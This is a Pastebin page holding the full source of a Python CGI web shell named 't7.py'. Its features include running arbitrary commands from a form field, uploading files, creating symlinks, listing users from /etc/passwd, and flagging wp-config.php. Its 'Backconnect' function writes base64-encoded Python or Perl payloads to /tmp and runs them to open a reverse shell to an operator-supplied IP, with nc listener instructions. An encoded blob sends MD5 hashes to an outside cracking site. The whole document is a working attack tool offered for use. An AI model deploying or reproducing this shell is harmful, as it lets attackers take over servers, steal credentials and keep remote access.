Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # TName : t7.py
- import cgi
- import cgitb
- cgitb.enable()
- import sys
- import os
- import subprocess
- import platform
- import base64
- import urllib
- from ftplib import FTP
- #
- un=""
- name='VDd+'
- for m in platform.uname():
- un+=m
- cmd = subprocess.Popen('id',shell=True,stdin = subprocess.PIPE, stdout = subprocess.PIPE,stderr=subprocess.STDOUT, close_fds=True)
- id = cmd.stdout.read()
- if os.environ.has_key('SERVER_SOFTWARE'):
- soft = os.environ['SERVER_SOFTWARE']
- md5_d = """
- IyEvdXNyL2Jpbi9weXRob24KCiMgUmVtb3RlIG1kNSBvbiBzaGVsbC1zdG9ybS5vcmcKCmltcG9ydCBodHRwbGliCmltcG9ydCBzb2NrZXQKaW1wb3J0IHN5cwppbXBvcnQgdXJsbGliCgoJCnRyeToKCWhvc3QgPSBzb2NrZXQuZ2V0aG9zdGJ5bmFtZSgic2hlbGwtc3Rvcm0ub3JnIikKCWNvbiA9IGh0dHBsaWIuSFRUUENvbm5lY3Rpb24oaG9zdCwgODApCgkKCXBhcmFtcyA9IHVybGxpYi51cmxlbmNvZGUoeydtZDUnOiBzeXMuYXJndlsyXX0pCgloZWFkZXJzID0geyJDb250ZW50LXR5cGUiOiAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiwgIkFjY2VwdCI6ICJ0ZXh0L3BsYWluIn0KCQkKCWlmIHN5cy5hcmd2WzFdID09ICItZCI6CgkJY29uLnJlcXVlc3QoJ1BPU1QnLCAnL21kNS9yZW1vdGUvZGVjcnlwdC5waHAnLCBwYXJhbXMsIGhlYWRlcnMpCQoJCglyZXNwb25zZSA9IGNvbi5nZXRyZXNwb25zZSgpCglkYXRhID0gcmVzcG9uc2UucmVhZCgpCgljb24uY2xvc2UoKQoJCglwcmludCAnPGZvbnQgY29sb3I9JyM4RjAwMDAnPk1ENTwvZm9udD4gOiAlcyAnJWRhdGEKCmV4Y2VwdDoKCXByaW50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LWE7ZWNobzsKZWNobyAtLT09VXNlcmluZm89PS0tIDsgaWQ7ZWNobztlY2hvIC0tPT1EaXJlY3Rvcnk9PS0tIDsgcHdkO2VjaG87IGVjaG8gLS09PVNoZWxsPT0tLSAiKTsKc3lzdGVtKCRzeXN0ZW0pOwoK"""
- #
- #
- print'Content-type: text/html\n\n'#header
- def html():
- print """<html><head>
- <title>Home</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <style type='text/css'>
- body{
- font-family:'Open Sans Condensed',sans-serif;
- }
- .dir{
- background-color:#000;
- color:#fff;
- border-top:1px solid #000;
- border-left:1px solid #000;
- border-right:1px solid #000;
- border-bottom:1px solid #171717;
- font-size:14px;
- outline: none;
- }
- .q{
- font-size:17px;
- }
- .sub{
- -webkit-border-radius:3px;
- -moz-border-radius:3px;
- padding:2px 25px;
- border:1px inset #737373;
- BACKGROUND-COLOR: #101010;
- fon????????????????t: 8pt Verdana;
- color: #fff;
- }
- .c{
- -webkit-border-radius:3px;
- -moz-border-radius:3px;
- padding-top: 3px;
- border:1px inset #737373;
- BACKGROUND-COLOR: #101010;
- font: 8pt Verdana;
- color: #fff;
- }
- table tr th{
- background-color:#191919;
- border-bottom:1px inset #333333;
- border-left:2px solid #000;
- padding: 2px 10px;
- font-weight: normal;
- font-size:12px;
- }
- table tr th:hover{
- border-bottom:1px solid red;
- }
- table tr .m{
- text-indent:25px;
- padding:10px 300px 10px 16px;
- border-bottom:1px solid #333;
- }
- table tr .m:hover{
- text-shadow:0px 0px 10px #fff;
- }
- .mu{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:4px 34px;
- border:1px solid #000;
- BACKGROUND-COLOR: #101010;
- font: 8pt Verdana;
- color: #fff;
- }
- .mu:hover{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:3px 34px;
- BACKGROUND-COLOR: #000;
- font: 8pt Verdana;
- color: #1;
- }
- .pe{
- background-color:#000;
- color:#fff;
- border:1px solid #000;
- }
- .pe:hover{
- background-color:#101010;
- border:1px solid #101010;
- }
- .t7{
- border-right:1px solid #333;
- }
- .m{
- padding:5px 10px;
- }
- </style>
- </head>
- <body bgcolor='#000' text='white'>
- <table cellpadding='5'>
- <tr>
- <td class='t7' valign='center'> <font size='7' color='#333333' > %s</font></td>"""%base64.b64decode(name)+"""
- """+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
- </font> </td>"%(soft,un,id,urllib.thishost())+"""
- </tr>
- </table>
- <form action='?' method=GET>
- <input type='submit' name='t7' class= 'mu' value='Home' / >
- <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
- <input type='submit' name='t7' class='mu' value='Backconnect' / >
- <input type='submit' name='t7' class= 'mu' value='Users' / >
- <input type='submit' name='t7' class= 'mu' value='Encoder' / >\
- <input type='submit' name='t7' class= 'mu' value='Delete' / >
- <br /><br />
- </form>
- <form action='?' method='POST'>"""+\
- "<font siz='10px' color='#272727'>Path: </font><input type='text' name='dir' size=82 class='dir' value="+p()+\
- " /><br /><br /> Run command ~$ <input type='text' name='cmd' class='c' size=50 />"+"""
- <input type='submit' class='sub' /><br/>
- </form>
- <table cellspacing=0 cellpadding=1 >
- """
- # BackConnect
- #
- def backconnect():
- print"""
- <title>BackConnect</title>
- <style >
- body{
- font-family:Tahoma,Verdana,Arial
- }
- .mu{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:4px 34px;
- border:1px solid #000;
- BACKGROUND-COLOR: #101010;
- font: 8pt Verdana;
- color: #fff;
- }
- .mu:hover{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:3px 34px;
- border:1px solid #000;
- BACKGROUND-COLOR: #000;
- font: 8pt Verdana;
- color: #1;
- }
- .e{
- -webkit-border-radius:3px;
- -moz-border-radius:3px;
- padding:1px 10px;
- margin: 3px;
- border:1px inset #737373;
- BACKGROUND-COLOR: #101010;
- font: 8pt Verdana;
- color: #fff;
- }
- select{
- background-color:#101010;
- }
- .con{
- background-color:#101010;
- border:1px solid #444;
- padding: 1px 22px;
- border-radius:2px;
- color:#fff;
- }
- .t7{
- border-right:1px solid #333;
- }
- </style>
- </head>
- <body bgcolor='#000' text='white'>
- <table cellpadding='5'>
- <tr>
- <td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font></td>
- """+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
- </font> </td>"%(soft,un,id,urllib.thishost())+"""
- </tr>
- </table>
- <form action='?' method=GET>
- <input type='submit' name='t7' class= 'mu' value='Home' / >
- <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
- <input type='submit' name='t7' class='mu' value='Backconnect' / >
- <input type='submit' name='t7' class= 'mu' value='Users' / >
- <input type='submit' name='t7' class= 'mu' value='Encoder' / >
- <input type='submit' name='t7' class= 'mu' value='Delete' / >
- <br /><br />
- </form>
- <form action='?' method='GET' >
- IP:          <input type='text' size='30' name='ip' class='e'/><br />
- Port:       <input type='text' size='30' name='port' class='e'/><br />
-               <select name='use'>
- <option value='py'>Using Python</option>
- <option value='pe'>Using Perl</option>
- </select>
- <input type='submit' value='Connect' name='con' class='con' />
- </form><br /> <br />"""
- # Symlink
- #
- def sym():
- print"""
- <title>Symlink</title>
- <style >
- body{
- font-family:Tahoma,Verdana,Arial
- }
- #sy{
- background-color:#0C0C0C;
- -moz-border-radius:12px;
- -webkit-border-radius:12px;
- }
- .e{
- background-color:#101010;
- color:#B9B5B5;
- border:1px solid #090909;
- }
- .e:focus{
- background-color:#5D5D5D;
- color:#000;
- border:1px ridge #000;
- }
- .s{
- background-color:#171717;
- color:#000;
- border:1px solid #101010;
- padding:2px 10px;
- }
- .mu{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:4px 34px;
- border:1px solid #000;
- BACKGROUND-COLOR: #101010;
- font: 8pt Verdana;
- color: #fff;
- }
- .mu:hover{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:3px 34px;
- BACKGROUND-COLOR: #000;
- font: 8pt Verdana;
- color: #1;
- }
- .t7{
- border-right:1px solid #333;
- }
- </style>
- </head>
- <body bgcolor='#000' text='white'>
- <table cellpadding='5'>
- <tr>
- <td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font></td>
- """+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
- </font> </td>"%(soft,un,id,urllib.thishost())+"""
- </tr>
- </table>
- <form action='?' method=GET>
- <input type='submit' name='t7' class= 'mu' value='Home' / >
- <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
- <input type='submit' name='t7' class='mu' value='Backconnect' / >
- <input type='submit' name='t7' class= 'mu' value='Users' / >
- <input type='submit' name='t7' class= 'mu' value='Encoder' / >
- <input type='submit' name='t7' class= 'mu' value='Delete' / >
- <br /><br />
- </form>
- <form action='?' method='GET' >
- <table wdith='100%' cellpadding='10' cellspacing='0' align='center' id='sy'>
- <tr>
- <td align='center'> <h3><font color=#4A4A4A>== Sym1ink To)ol ==</font></h3></td></tr>
- <tr>
- <td align='center'> <b></b> <input type='text' name='ff' class='e' size='70'>"""+\
- "<br/><input type='text' name='f1' value='%s'class='e' size='59'>"%os.getcwd()+"""<input type='submit' value='Submit' name='get' class='s'><br /><br /></td></tr>
- </table>
- </form>
- """
- try:
- l = os.path.basename(form.getvalue('f1'))
- if os.path.exists(l): # check
- os.remove(l) # remove if this file is here
- try:
- if os.path.exists(form.getvalue('ff')):
- os.symlink(form.getvalue('ff'),form.getvalue('f1')) # create symlink to f1 value
- print "<center><br /> <a href='%s' target='_blank' title='):' style='text-decoration:none;color:#fff;' > Click Here (:</a> <center>"%l
- else:
- print "<br /> [-] <font color=red >"+form.getvalue('ff')+'</font> Make sure the file path'
- except:
- pass
- except:
- pass
- # Upload File
- #
- def upload():
- print """<title>Upload File</title><style>
- body{
- font-family:Tahoma,Verdana,Arial;
- background-color:#000;
- color:#fff;
- }
- .mu{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:4px 34px;
- border:1px solid #000;
- BACKGROUND-COLOR: #101010;
- font: 8pt Verdana;
- color: #fff;
- }
- .mu:hover{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:3px 34px;
- BACKGROUND-COLOR: #000;
- font: 8pt Verdana;
- color: #1;
- }
- .dir{
- background-color:#000;
- color:#fff;
- border-top:1px solid #000;
- border-left:1px solid #000;
- border-right:1px solid #000;
- border-bottom:1px solid #171717;
- text-indent:6px;
- font-size:13px;
- }
- .re{
- background-color:#101010;
- }
- .he tr td{
- text-indent:10px;
- margin: 30px;
- }
- .he{
- border:1px solid #101010;
- margin: 10px;
- }
- .fi{
- background-color: #141414;
- border: 1px solid #444;
- color:#fff;
- padding:0px 15px;
- }
- .t7{
- border-right:1px solid #333;
- }
- </style>
- </head>
- <body bgcolor='#000' text='white'>
- <table cellpadding='5' >
- <tr>
- <td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font></td>
- """+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
- </font> </td>"%(soft,un,id,urllib.thishost())+"""
- </tr>
- </table>
- <form action='?' method=GET>
- <input type='submit' name='t7' class= 'mu' value='Home' / >
- <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
- <input type='submit' name='t7' class='mu' value='Backconnect' / >
- <input type='submit' name='t7' class= 'mu' value='Users' / >
- <input type='submit' name='t7' class= 'mu' value='Encoder' / >
- <input type='submit' name='t7' class= 'mu' value='Delete' / >
- <br /><br />
- </form>
- <form enctype="multipart/form-data" action="?" method="POST">
- <table class='he'>
- <tr>
- <th valign='center' class='re'><font color='#444' size='2px'> Upload from computer ...</font></th>
- </tr>
- <tr>
- <td>
- Upload To :"""+"<input type='text' name='to' size=82 class='dir' value='%s' />"%os.getcwd()+"""</td></tr><tr><td>
- File: <input type="file" name="f" class='fi' /> <input type="submit" name='u' class='fi' value="Upload" /><br /> <br /></td>
- </tr>
- </form>
- </table>
- </form>
- </body>
- </html>"""
- def users():
- print """
- <title>Users</title><style>
- body{
- font-family:Tahoma,Verdana,Arial;
- background-color:#000;
- color:#fff;
- }
- .mu{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:4px 34px;
- border:1px solid #000;
- BACKGROUND-COLOR: #101010;
- font: 8pt Verdana;
- color: #fff;
- }
- .mu:hover{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:3px 34px;
- BACKGROUND-COLOR: #000;
- font: 8pt Verdana;
- color: #1;
- }
- textarea{
- background-color:#101010;
- border:1px solid #101010;
- border-radius:8px;
- color:#fff;
- }
- .go{
- background-color:#101010;
- border:1px solid #444;
- padding: 1px 22px;
- border-radius:2px;
- color:#fff;
- }
- .me{
- padding:3px 0px;
- border:1px solid #272727;
- BACKGROUND-COLOR: #101010;
- font: 8pt Verdana;
- color: #fff;
- }
- .t7{
- border-right:1px solid #333;
- }
- </style>
- </head>
- <body bgcolor='#000' text='white'>
- <table cellpadding='5'>
- <tr>
- <td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font></td>
- """+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
- </font> </td>"%(soft,un,id,urllib.thishost())+"""
- </tr>
- </table>
- <form action='?' method=GET>
- <input type='submit' name='t7' class= 'mu' value='Home' / >
- <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
- <input type='submit' name='t7' class='mu' value='Backconnect' / >
- <input type='submit' name='t7' class= 'mu' value='Users' / >
- <input type='submit' name='t7' class= 'mu' value='Encoder' / >
- <input type='submit' name='t7' class= 'mu' value='Delete' / >
- <br /><br />
- </form>
- <center>~:/etc/passwd<br /><textarea rows='30' cols='30' name='user' >"""
- try:
- m = open('/etc/passwd','r') # read /etc/passwd file
- except:
- pass
- tt = []
- for line in m.readlines():
- r = line.find(':')
- t = line[r:]
- l=line.split(t)
- tt.append(l[0])
- for i in tt:
- print i
- m.close()
- print """</textarea></center>
-         
- </form>"""
- #
- #
- def encoderh():
- print"""
- <title>Encoder ...!</title>
- <style >
- body{
- font-family:Tahoma,Verdana,Arial;
- }
- .mu{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:4px 34px;
- border:1px solid #000;
- BACKGROUND-COLOR: #101010;
- font: 8pt Verdana;
- color: #fff;
- }
- .mu:hover{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:3px 34px;
- border:1px solid #000;
- BACKGROUND-COLOR: #000;
- font: 8pt Verdana;
- color: #1;
- }
- textarea{
- background-color:#101010;
- -webkit-border-radius:5px;
- -moz-border-radius:5px;
- border:1px solid #000;
- color:#fff;
- }
- .enc{
- background-color:#101010;
- border:1px solid #000;
- padding: 1px 200;
- border-radius:2px;
- color:#fff;
- }
- .t7{
- border-right:1px solid #333;
- }
- </style>
- </head>
- <body bgcolor='#000' text='white'>
- <table cellpadding='5'>
- <tr>
- <td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font></td>
- """+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
- </font> </td>"%(soft,un,id,urllib.thishost())+"""
- </tr>
- </table><form action='?' method=GET>
- <input type='submit' name='t7' class= 'mu' value='Home' / >
- <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
- <input type='submit' name='t7' class='mu' value='Backconnect' / >
- <input type='submit' name='t7' class= 'mu' value='Users' / >
- <input type='submit' name='t7' class= 'mu' value='Encoder' / >
- <input type='submit' name='t7' class= 'mu' value='Delete' / >
- <br /><br />
- </form>
- <center>
- <form action='?' method='POST' >
- <textarea cols='50' rows='6' name='new'>
- </textarea><br />
- <input type='submit' value='En' name='enc' class='enc' /><br />
- <input type='submit' value='De' name='de' class='enc' />
- </form></center><br /> <br />"""
- #
- def about():
- print """<title>Ab0ut</title>
- <style >
- body{
- font-family:Tahoma,Verdana,Arial
- }
- .mu{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:4px 34px;
- border:1px solid #000;
- BACKGROUND-COLOR: #101010;
- font: 8pt Verdana;
- color: #fff;
- }
- .mu:hover{
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- padding:3px 34px;
- border:1px solid #000;
- BACKGROUND-COLOR: #000;
- font: 8pt Verdana;
- color: #1;
- }
- .box{
- background-color:rgba(255,255,255,0.05);
- width:26%;
- height:55%;
- margin:5% 33%;
- padding:50px 0px 0px 15px;
- -webkit-border-top-left-radius:30px;
- -webkit-border-bottom-right-radius:20px;
- -webkit-border-top-right-radius:2px;
- -webkit-border-bottom-left-radius:2px;
- color:444444;
- }
- .box span{
- border-bottom:0px dashed #333333;
- padding:0px 30px 0px 40px;
- -webkit-box-shadow: 5px 0px 80px #444;
- }
- .t7{
- border-right:1px solid #333;
- }
- </style>
- </head>
- <body bgcolor='#000' text='white'>
- <table cellpadding='5'>
- <tr>
- <td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font></td>
- """+"<td valign='top' ><font size='2' color='999999'> %s<br />%s<br />%s<br /> Server ip : %s\
- </font> </td>"%(soft,un,id,urllib.thishost())+"""
- </tr>
- </table>
- <form action='?' method=GET>
- <input type='submit' name='t7' class= 'mu' value='Home' / >
- <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
- <input type='submit' name='t7' class='mu' value='Backconnect' / >
- <input type='submit' name='t7' class= 'mu' value='Users' / >
- <input type='submit' name='t7' class= 'mu' value='Encoder' / >
- <input type='submit' name='t7' class= 'mu' value='Delete' / >
- <br /><br />
- """
- def encoder(en):
- try:
- import hashlib # mybe this Computer Not Install This Moudel
- if form.has_key('enc'):
- sha1 = hashlib.sha1(en)
- sha224 = hashlib.sha224(en)
- sha256 = hashlib.sha256(en)
- sha384 = hashlib.sha384(en)
- sha512 = hashlib.sha512(en)
- md5 = hashlib.md5(en)
- b64 = base64.b64encode(en)
- b16 = base64.b16encode(en)
- b32 = base64.b32encode(en)
- print "<br /> <pre>"
- print " <font color='#8F0000'>Sha1</font> : %s"%sha1.hexdigest()
- print " <font color='#8F0000'>Sha224</font> : %s"%sha224.hexdigest()
- print " <font color='#8F0000'>Sha256</font> : %s"%sha256.hexdigest()
- print " <font color='#8F0000'>Sha384</font> : %s"%sha384.hexdigest()
- print " <font color='#8F0000'>Sha512</font> : %s"%sha512.hexdigest()
- print " <font color='#8F0000'>MD5</font> : %s"%md5.hexdigest()
- print " <font color='#8F0000'>Base64</font> : %s"%b64
- print " <font color='#8F0000'>Base16</font> : %s"%b16
- print " <font color='#8F0000'>Base32</font> : %s"%b32
- print "</pre>"
- elif form.has_key('de'):
- print "<br /> <pre>"
- print " <font color='#8F0000'>Sha1</font> : "
- print " <font color='#8F0000'>Sha224</font> : "
- print " <font color='#8F0000'>Sha256</font> : "
- print " <font color='#8F0000'>Sha384</font> : "
- print " <font color='#8F0000'>Sha512</font> : "
- try:
- print " <font color='#8F0000'>Base64</font> : %s"%base64.b64decode(en)
- except:
- print " <font color='#8F0000'>Base64</font> :"
- try:
- print " <font color='#8F0000'>Base16</font> : %s"%base64.b16decode(en)
- except:
- print " <font color='#8F0000'>Base16</font> :"
- try:
- print " <font color='#8F0000'>Base32</font> : %s"%base64.b32decode(en)
- except:
- print " <font color='#8F0000'>Base32</font> :"
- print "</pre>"
- except ImportError:
- print "[*] install hashlib Modaul "
- except:
- print "Write Some Words in the input"
- #
- def up():
- if platform.system() =='win32':
- try: # Windows needs stdio set for binary mode.
- import msvcrt
- msvcrt.setmode (0, os.O_BINARY) # stdin = 0
- msvcrt.setmode (1, os.O_BINARY) # stdout = 1
- except ImportError:
- pass
- try:
- fi = form['f']
- if fi.filename:
- fn = os.path.basename(fi.filename)
- if form.has_key('to'):
- try:
- to = form.getvalue('to')
- if to[-1] == '/':
- open(to+fn, 'wb').write(fi.file.read())
- msg = 'The file [' + fn + '] was uploaded successfully '
- else:
- open(to+'/'+fn, 'wb').write(fi.file.read())
- msg = 'The file [' + fn + '] was uploaded successfully '
- except:
- print "[<font color='red'>~</font>] Permission denied ..."
- else:
- print "Upload T0 (: Erath (:"
- else:
- msg = 'No file was uploaded'
- print " <p>%s</p>" % (msg)
- except:
- pass
- #
- #
- def connect():
- fl = '/tmp/'+'b'
- ip = form.getvalue('ip')
- port = form.getvalue('port')
- if form.has_key('con'):
- if not (form.has_key('ip') and form.has_key('port')):
- print "<br /> YOu Must Enter Ip And Port"
- else:
- if form.getvalue('use') == 'py':
- try:
- open(fl,'w').write(base64.b64decode(back_connect_python))
- p = subprocess.Popen(["python %s %s %s" % (fl,ip,int(port))],shell=True)
- print "Use NetCat ....! <br /> <br />nc -l -n -v -p %s <br />        OR"%port
- print "<br /> nc -lvp %s"%port
- except:
- print"<br /> in port input You must enter number not string ..."
- else:
- try:
- open(fl,'w').write(base64.b64decode(back_connect_perl))
- p = subprocess.Popen(["perl %s %s %s" % (fl,ip,int(port))],shell=True)
- print "<pre>Use NetCat ....! <br /> <br />nc -l -n -v -p %s <br />        OR"%port
- print "<br /> nc -lvp %s </pre>"%port
- except:
- print"<br /> in port input You must enter number not string ..."
- #
- def ls():
- path = os.getcwd()
- print "<tr><th>Name</th></tr>"
- for n in os.listdir(path):
- if os.path.isdir(n):
- print """<tr > <td class='m' style="background:url() no-repeat 5px center;background-size:30px;" width=400><b/><font size='2' color='#cccccc'>%s</font> </b></td>"""%(n)
- print "</tr>"
- elif os.path.isfile(n) and n[-3:].lower() !='png' and n[-3:].lower() !='jpg':
- if n in ['config.php','wp-config.php']:
- print """<tr > <td class='m' style="background:url() no-repeat 5px center;background-size:30px;" width=400><b/><font size='2' color='red'> %s</font> </b></td>"""%(n)
- print "</tr>"
- else:
- print """<tr > <td class='m' style="background:url() no-repeat 5px center;background-size:30px;" width=400><b/><font size='2' color='#cccccc'> %s</font> </b></td>"""%(n)
- print "</tr>"
- elif os.path.islink(n):
- print "<tr > <td class='m' width=400><b/><font size='2' color='#cccccc' >%s</font> </b></td>"%n
- print "</tr>"
- elif n[-3:].lower() =='png' or n[-3:] =='jpg':
- print """<tr > <td class='m' style="background:url() no-repeat 5px center;background-size:28px;" width=400><b/><font size='2' color='#cccccc'> %s</font> </b></td>"""%(n)
- print "</tr>"
- else:
- print "<tr > <td class='m' width=400><b/><font size='2' color='#cccccc'>%s</font> </b>"%n
- print "<tr>"
- print "</form>"
- print "</table><body></html>"
- #
- def fo():
- if form.has_key('cmd'):
- m = subprocess.Popen(form.getvalue('cmd'),shell=True,stdin = subprocess.PIPE,
- stdout = subprocess.PIPE,stderr=subprocess.STDOUT, close_fds=True)
- i = m.stdout.read()
- print"<font size='2' color='#4C4C4C'>Executed command : %s</font> <br /><pre class='q'> %s </pre>"%(form.getvalue('cmd'),i)
- else:
- ls()
- #
- def p():
- if form.has_key('dir'):
- m = form.getvalue('dir')
- if not (os.path.exists(form.getvalue('dir')) and os.path.isdir(form.getvalue('dir'))):
- print 'Make sure you type the correct path'
- return form.getvalue('dir')
- else:
- s =form.getvalue('dir')
- os.chdir(s)
- return s
- else:
- return os.getcwd()
- ls()
- #
- if __name__ == '__main__':
- try:
- word = open('/tmp/user.txt','r')
- ws = word.readlines()
- except:
- pass
- form = cgi.FieldStorage()
- if form.getvalue('t7')=='Symlink' or form.has_key('get'):
- sym()
- elif form.getvalue('t7') == 'Upload' or form.has_key('u'):
- upload()
- up()
- elif form.getvalue('t7')=='Users' or form.has_key('go'):
- users()
- elif form.getvalue('t7')=='Backconnect' or form.has_key('con'):
- backconnect()
- connect()
- elif form.getvalue('t7')=='Encoder' or form.has_key('enc') or form.has_key('de'):
- encoderh()
- encoder(form.getvalue('new'))
- elif form.getvalue('t7')=='About':
- about()
- elif form.getvalue('t7')=='Delete':
- print """"""
- os.chdir(os.getcwd())
- os.remove('t7.py')
- else:
- html()
- fo()
Add Comment
Please, Sign In to add comment